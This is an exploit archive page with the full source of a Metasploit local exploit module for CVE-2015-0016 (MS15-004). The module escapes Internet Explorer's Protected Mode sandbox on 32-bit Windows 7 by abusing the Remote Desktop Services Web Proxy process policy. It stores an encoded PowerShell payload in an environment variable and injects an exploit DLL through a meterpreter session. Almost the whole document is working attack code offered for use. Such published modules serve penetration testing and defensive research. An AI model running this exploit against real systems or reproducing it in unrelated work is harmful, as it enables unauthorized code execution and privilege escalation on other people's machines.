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MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape

MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape
Posted Feb 2, 2015
Authored by juan vazquez, temp66, Henry Li | Site metasploit.com

This Metasploit module abuses a process creation policy in Internet Explorer's sandbox, specifically the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape the Protected Mode, and execute code with Medium Integrity. At the moment, this module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This Metasploit module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11.

tags | exploit, remote, web
systems | windows, 7
advisories | CVE-2015-0016
MD5 | 603be371391e9afbc16e6432a03ab423

MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info, {
'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',
'Description' => %q{
This module abuses a process creation policy in Internet Explorer's sandbox, specifically
the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape
the Protected Mode, and execute code with Medium Integrity. At the moment, this module only
bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested
successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # From Threat Intel of Symantec
'Henry Li', # Public vulnerability analysis
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Arch' => [ARCH_X86],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 30
},
'Targets' =>
[
[ 'Protected Mode (Windows 7) / 32 bits',
{
'Arch' => ARCH_X86
}
]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
['CVE', '2015-0016'],
['MSB', 'MS15-004'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']
],
'DisclosureDate' => 'Jan 13 2015'
}))
end

def check
temp = get_env('WINDIR')
dll_path = "#{temp}\\System32\\TSWbPrxy.exe"

win_ver = sysinfo['OS']

unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/
return Exploit::CheckCode::Safe
end

unless file_exist?(dll_path)
return Exploit::CheckCode::Safe
end

Exploit::CheckCode::Detected
end

def exploit
print_status('Checking target...')
unless check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable, 'System not vulnerable')
end

if session.platform !~ /^x86\//
fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
end

win_ver = sysinfo['OS']
if win_ver =~ /Windows 2012|Windows 8/
fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
end

print_status('Checking the Process Integrity Level...')

unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')
end

cmd = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true }
)

print_status('Storing payload on environment variable...')
cmd.gsub!('powershell.exe ','')
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)

print_status('Exploiting...')
temp = get_env('TEMP')
# Using the old meterpreter loader, if it's loaded with
# Reflective DLL Injection the exceptions in the sandbox
# policy won't apply.
session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'),
'TargetFilePath' => temp + '\\cve-2015-0016.dll',
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
end

def cleanup
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)
super
end

end
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